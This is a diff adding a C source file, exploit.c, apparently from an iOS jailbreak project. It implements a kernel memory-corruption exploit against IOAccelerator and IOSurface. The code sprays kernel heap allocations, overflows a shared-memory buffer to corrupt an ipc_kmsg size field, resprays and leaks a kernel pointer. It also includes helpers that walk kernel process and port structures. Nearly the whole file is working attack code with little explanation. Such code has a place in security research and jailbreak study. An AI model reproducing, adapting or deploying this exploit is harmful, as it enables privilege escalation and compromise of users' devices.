|
|
@@ -0,0 +1,365 @@ |
|
|
// |
|
|
// exploit.c |
|
|
// extra_time |
|
|
// |
|
|
// Created by Jake James on 2/8/20. |
|
|
// Copyright © 2020 Jake James. All rights reserved. |
|
|
// |
|
|
|
|
|
#include "exploit.h" |
|
|
#include "IOAccelerator_stuff.h" |
|
|
#include "exploit_utilities.h" |
|
|
#include "kernel_memory.h" |
|
|
#include "iosurface.h" |
|
|
#include "kernel_alloc.h" |
|
|
|
|
|
uint64_t kernel_slide; |
|
|
uint64_t proc_of_pid(int pid) { |
|
|
uint64_t proc = rk64(0xfffffff007766b60 + kernel_slide); |
|
|
while (proc) { |
|
|
int p = rk32(proc + 0x68); |
|
|
if (pid == p) return proc; |
|
|
proc = rk64(proc + 8); |
|
|
} |
|
|
return 0; |
|
|
} |
|
|
|
|
|
uint64_t find_port_address(mach_port_t port) { |
|
|
uint64_t proc = proc_of_pid(getpid()); |
|
|
uint64_t task = rk64(proc + 0x10); |
|
|
uint64_t itk_space = rk64(task + 0x320); |
|
|
uint64_t is_table = rk64(itk_space + 0x20); |
|
|
uint64_t port_addr = rk64(is_table + (port >> 8) * 0x18); |
|
|
return port_addr; |
|
|
} |
|
|
|
|
|
void list_messages_in_port(mach_port_t port) { |
|
|
if (!port) return; |
|
|
uint64_t port_addr = find_port_address(port); |
|
|
if (!port_addr) return; |
|
|
|
|
|
uint64_t kmsg = rk64(port_addr + 0x40); |
|
|
if (kmsg) { |
|
|
printf("[i] Found message: 0x%llx\n", kmsg); |
|
|
} |
|
|
else { |
|
|
return; |
|
|
} |
|
|
|
|
|
uint64_t old_kmsg = kmsg; |
|
|
kmsg = rk64(kmsg + 8); |
|
|
|
|
|
while (kmsg != old_kmsg) { |
|
|
printf("[i] Found message: 0x%llx\n", kmsg); |
|
|
kmsg = rk64(kmsg + 8); |
|
|
} |
|
|
} |
|
|
|
|
|
uint64_t get_latest_message(mach_port_t port) { |
|
|
if (!port) return 0; |
|
|
uint64_t port_addr = find_port_address(port); |
|
|
if (!port_addr) return 0; |
|
|
|
|
|
uint64_t kmsg = rk64(port_addr + 0x40); |
|
|
if (!kmsg) { |
|
|
return 0; |
|
|
} |
|
|
|
|
|
return rk64(kmsg + 16); |
|
|
} |
|
|
|
|
|
struct simple_kmsg *read_kmsg(uint64_t kmsg) { |
|
|
if (!kmsg) return 0; |
|
|
uint64_t ikm_header = rk64(kmsg + 24); |
|
|
if (!ikm_header) return 0; |
|
|
|
|
|
mach_msg_size_t msg_size = rk32(kmsg + offsetof(kern_mach_msg_header_t, msgh_size)); |
|
|
struct simple_kmsg *msg = malloc(msg_size); |
|
|
kread(ikm_header, msg, msg_size); |
|
|
|
|
|
return msg; |
|
|
} |
|
|
|
|
|
// finds kernel address of a shared memory buffer created using IOAccelerator based on shmem_id |
|
|
uint64_t addr_for_shmem_id(uint32_t id) { |
|
|
uint64_t IOAccelCommandQueue2_port_addr = find_port_address(IOAccelCommandQueue2); |
|
|
uint64_t IOAccelCommandQueue2_addr = rk64(IOAccelCommandQueue2_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); |
|
|
uint64_t IOAccelShared2_addr = rk64(IOAccelCommandQueue2_addr + 1464); |
|
|
uint64_t IOAccelNamespace_addr = rk64(IOAccelShared2_addr + 136); |
|
|
uint64_t addr = rk64(rk64(IOAccelNamespace_addr + 16) + 8 * id); |
|
|
uint64_t smth = rk64(addr + 48); |
|
|
uint64_t data = smth ? rk64(smth + 40) : 0; |
|
|
return data; |
|
|
} |
|
|
|
|
|
// get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue |
|
|
uint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) { |
|
|
uint64_t IOSRUC_port_addr = find_port_address(IOSurfaceRootUserClient); // struct ipc_port * |
|
|
uint64_t IOSRUC_addr = rk64(IOSRUC_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // IOSurfaceRootUserClient * |
|
|
uint64_t IOSC_addr = rk64(rk64(IOSRUC_addr + 280) + 8 * IOSurface_id); // IOSurfaceClient * |
|
|
uint64_t IOSurface_addr = rk64(IOSC_addr + 64); // IOSurface * |
|
|
uint64_t all_properties = rk64(IOSurface_addr + 232); // OSDictionary * |
|
|
return all_properties; |
|
|
} |
|
|
|
|
|
uint64_t OSDictionary_objectForKey(uint64_t dict, char *key) { |
|
|
uint64_t dict_buffer = rk64(dict + 32); // void * |
|
|
|
|
|
int i = 0; |
|
|
uint64_t key_sym = 0; |
|
|
do { |
|
|
key_sym = rk64(dict_buffer + i); // OSSymbol * |
|
|
uint64_t key_buffer = rk64(key_sym + 16); // char * |
|
|
if (!kstrcmp_u(key_buffer, key)) { |
|
|
return rk64(dict_buffer + i + 8); |
|
|
} |
|
|
i += 16; |
|
|
} |
|
|
while (key_sym); |
|
|
|
|
|
return 0; |
|
|
} |
|
|
|
|
|
uint64_t OSArray_objectAtIndex(uint64_t array, int idx) { |
|
|
uint64_t array_buffer = rk64(array + 32); // void * |
|
|
return rk64(array_buffer + idx * 8); |
|
|
} |
|
|
|
|
|
uint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) { |
|
|
uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient); |
|
|
char *skey = malloc(5); |
|
|
memcpy(skey, &key, 4); |
|
|
uint64_t value = OSDictionary_objectForKey(all_properties, skey); |
|
|
free(skey); |
|
|
return value; |
|
|
} |
|
|
|
|
|
bool IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size, struct IOSurfaceValueArgs *out, size_t *out_size); |
|
|
bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size); |
|
|
extern mach_port_t IOSurfaceRootUserClient; |
|
|
|
|
|
#define DEBUG 0 |
|
|
|
|
|
int get_tfp0() { |
|
|
kern_return_t kr; |
|
|
|
|
|
mach_port_t tfp0; |
|
|
kr = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0); |
|
|
if (!kr) { |
|
|
printf("[+] Got cached tfp0: 0x%x\n", tfp0); |
|
|
init_kernel_memory(tfp0); |
|
|
|
|
|
struct task_dyld_info info; |
|
|
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; |
|
|
task_info(tfp0, TASK_DYLD_INFO, (task_info_t) &info, &count); |
|
|
kernel_slide = info.all_image_info_size; |
|
|
} |
|
|
// else return 0; |
|
|
|
|
|
#define MB 1024 * 1024 |
|
|
|
|
|
offsets_init(); |
|
|
init_IOSurface(); |
|
|
init_IOAccelerator(); |
|
|
|
|
|
// prepare things like bazad |
|
|
struct holding_port_array holding_ports = holding_ports_create(200); |
|
|
|
|
|
struct ipc_kmsg_kalloc_fragmentation_spray fragmentation_spray; |
|
|
ipc_kmsg_kalloc_fragmentation_spray_(&fragmentation_spray, |
|
|
7 * pagesize, // 7-page kalloc allocations |
|
|
120 * MB, // 120 MB total spray |
|
|
10 * MB, // 10 MB per port |
|
|
&holding_ports); |
|
|
|
|
|
ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, +1); |
|
|
ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, -1); |
|
|
|
|
|
struct ipc_kmsg_kalloc_spray kalloc_8page_spray; |
|
|
ipc_kmsg_kalloc_spray_(&kalloc_8page_spray, |
|
|
NULL, // Zero-fill the message data. |
|
|
8 * pagesize, // 8-page kalloc allocations. |
|
|
200 * MB, // 200 MB total spray. |
|
|
0, // Max spray size per port. |
|
|
&holding_ports); |
|
|
|
|
|
uint32_t iosurface_property = 0; |
|
|
uint32_t huge_kalloc_key = IOSurface_property_key(iosurface_property++); |
|
|
bool ok = IOSurface_kalloc_fast(huge_kalloc_key, 82 * MB); |
|
|
// check ... |
|
|
|
|
|
#if DEBUG |
|
|
uint64_t huge_kalloc_addr = address_of_property_key(IOSurfaceRootUserClient, huge_kalloc_key); |
|
|
printf("[i] huge_kalloc: 0x%llx\n", huge_kalloc_addr); |
|
|
#endif |
|
|
|
|
|
// setup vuln |
|
|
struct IOAccelDeviceShmemData cmdbuf, seglist; |
|
|
alloc_shmem(96 * MB, &cmdbuf, &seglist); |
|
|
|
|
|
#if DEBUG |
|
|
uint64_t seglist_addr = addr_for_shmem_id(seglist.shmem_id); |
|
|
uint64_t cmdbuf_addr = addr_for_shmem_id(cmdbuf.shmem_id); |
|
|
|
|
|
printf("[i] Segment list: 0x%llx\n", seglist_addr); |
|
|
printf("[i] Command buffer: 0x%llx\n", cmdbuf_addr); |
|
|
#endif |
|
|
|
|
|
// now: |
|
|
// ------------------+------------------+------------------+---------------- |
|
|
// huge kalloc | segment list | command buffer | |
|
|
// ------------------+------------------+------------------+---------------- |
|
|
// |
|
|
|
|
|
// the mach message that will be corrupted |
|
|
mach_port_t corrupted_kmsg_port = holding_port_pop(&holding_ports); |
|
|
void *data = malloc(8 * pagesize); |
|
|
memset(data, 0, 8 * pagesize); |
|
|
send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); |
|
|
|
|
|
#if DEBUG |
|
|
uint64_t corrupted_message = get_latest_message(corrupted_kmsg_port); |
|
|
printf("[i] ipc_kmsg: 0x%llx\n", corrupted_message); |
|
|
#endif |
|
|
|
|
|
// now: |
|
|
// ------------------+------------------+------------------+-----------------+----------- |
|
|
// huge kalloc | segment list | command buffer | struct ipc_kmsg | |
|
|
// ------------------+------------------+------------------+-----------------+----------- |
|
|
// |
|
|
|
|
|
mach_port_t placeholder_message_port = holding_port_pop(&holding_ports); |
|
|
send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); |
|
|
|
|
|
#if DEBUG |
|
|
uint64_t placeholder_message = get_latest_message(placeholder_message_port); |
|
|
printf("[i] ipc_kmsg 2: 0x%llx\n", placeholder_message); |
|
|
#endif |
|
|
|
|
|
// now: |
|
|
// ------------------+------------------+------------------+-----------------+------------------- |
|
|
// huge kalloc | segment list | command buffer | struct ipc_kmsg | struct ipc_kmsg 2 |
|
|
// ------------------+------------------+------------------+-----------------+------------------- |
|
|
// |
|
|
|
|
|
void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize; |
|
|
size_t spray_size = 96 * MB - pagesize; |
|
|
|
|
|
IOSurface_remove_property(huge_kalloc_key); |
|
|
|
|
|
// now: |
|
|
// ------------+------------------+------------------+-----------------+------------------- |
|
|
// free | segment list | command buffer | struct ipc_kmsg | struct ipc_kmsg 2 |
|
|
// ------------+------------------+------------------+-----------------+------------------- |
|
|
// |
|
|
|
|
|
uint32_t kfree_buffer_key = IOSurface_property_key(iosurface_property++); |
|
|
ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size, |
|
|
^(void *data, size_t index) { |
|
|
*(uint64_t *)(data) = 0x4141414100000000 + index; |
|
|
}); |
|
|
ok = IOSurface_kmem_alloc_array_fast(kfree_buffer_key, spray_buffer, spray_size); |
|
|
|
|
|
mach_port_destroy(mach_task_self(), placeholder_message_port); |
|
|
|
|
|
// now: |
|
|
// +------------------+------------------+-----------------+--------+---------------+ |
|
|
// | segment list | command buffer | struct ipc_kmsg | free | 0x41414141... | |
|
|
// +------------------+------------------+-----------------+--------+---------------+ |
|
|
// |
|
|
|
|
|
uint32_t spray_key = IOSurface_property_key(iosurface_property++); |
|
|
ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size, |
|
|
^(void *data, size_t index) { |
|
|
*(uint64_t *)(data) = 0x1337133700000000 + index; |
|
|
}); |
|
|
ok = IOSurface_kmem_alloc_array_fast(spray_key, spray_buffer, spray_size); |
|
|
|
|
|
// now: |
|
|
// +------------------+------------------+-----------------+---------------+-------------- |
|
|
// | segment list | command buffer | struct ipc_kmsg | 0x13371337... | 0x41414141... |
|
|
// +------------------+------------------+-----------------+---------------+-------------- |
|
|
// |
|
|
|
|
|
#if DEBUG |
|
|
printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message)); |
|
|
#endif |
|
|
|
|
|
size_t (^compute_overflow_size_for_timestamp)(uint64_t) = ^size_t(uint64_t ts) { |
|
|
if (0x000000000003ffa8 < ts && ts <= 0x0000000003ffa8ff) { |
|
|
return 8; |
|
|
} |
|
|
if (0x0000000003ffa8ff < ts && ts <= 0x00000003ffa8ffff) { |
|
|
return 7; |
|
|
} |
|
|
if (0x00000003ffa8ffff < ts && ts <= 0x000003ffa8ffffff) { |
|
|
return 6; |
|
|
} |
|
|
if (0x000003ffa8ffffff < ts && ts <= 0x0003ffa8ffffffff) { |
|
|
return 5; |
|
|
} |
|
|
if (0x0003ffa8ffffffff < ts && ts <= 0x03ffa8ffffffffff) { |
|
|
return 4; |
|
|
} |
|
|
if (0x03ffa8ffffffffff < ts && ts <= 0xfffffffffffeffff) { |
|
|
return 3; |
|
|
} |
|
|
assert(ts <= 0x000000000003ffa8 || ts > 0xfffffffffffeffff); |
|
|
return 0; |
|
|
}; |
|
|
|
|
|
bool (^check_overflow_size_for_timestamp)(uint64_t, size_t) = ^bool(uint64_t ts, size_t overflow_size) { |
|
|
assert(3 <= overflow_size && overflow_size <= 8); |
|
|
uint32_t ipc_kmsg_size = (uint32_t) (ts >> (8 * (8 - overflow_size))); |
|
|
assert(0x0003ffa9 <= ipc_kmsg_size); |
|
|
return (0x0003ffa9 <= ipc_kmsg_size && ipc_kmsg_size <= 0x0400a8ff); |
|
|
}; |
|
|
|
|
|
size_t overflow_size = 0; |
|
|
retry_overflow: |
|
|
overflow_size = compute_overflow_size_for_timestamp(mach_absolute_time()); |
|
|
if (overflow_size == 0) { |
|
|
sleep(1); |
|
|
goto retry_overflow; |
|
|
} |
|
|
|
|
|
overflow_n_bytes(96 * MB, (int)overflow_size, &cmdbuf, &seglist); |
|
|
ok = check_overflow_size_for_timestamp(mach_absolute_time(), overflow_size); |
|
|
if (!ok) { |
|
|
printf("[-] Retrying corruption...\n"); |
|
|
goto retry_overflow; |
|
|
} |
|
|
printf("[+] Corrupted ipc_kmsg ikm_size\n"); |
|
|
|
|
|
mach_port_destroy(mach_task_self(), corrupted_kmsg_port); |
|
|
corrupted_kmsg_port = holding_port_pop(&holding_ports); |
|
|
|
|
|
printf("[+] Freed kmsg\n"); |
|
|
|
|
|
for (int i = 0; i < 1000; i++) { |
|
|
send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); |
|
|
} |
|
|
|
|
|
#if DEBUG |
|
|
printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message)); |
|
|
#endif |
|
|
|
|
|
struct { |
|
|
uint32_t surface_id; |
|
|
uint32_t field_4; |
|
|
uint32_t key; |
|
|
} *in = malloc(12); |
|
|
in->surface_id = IOSurface_id; |
|
|
in->key = spray_key; |
|
|
|
|
|
size_t out_size = spray_size; |
|
|
IOSurface_get_value((struct IOSurfaceValueArgs *)in, 12, spray_buffer, &out_size); |
|
|
|
|
|
uint32_t ikm_size = 0x1ffa8; |
|
|
void *ipc_kmsg = memmem(spray_buffer, out_size, &ikm_size, sizeof(ikm_size)); |
|
|
uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24); |
|
|
|
|
|
printf("[+] ikm_header leak: 0x%llx\n", ikm_header); |
|
|
printf("[+] Segment list calculated to be at: 0x%llx\n", ikm_header - 0xc028028); |
|
|
return 0; |
|
|
} |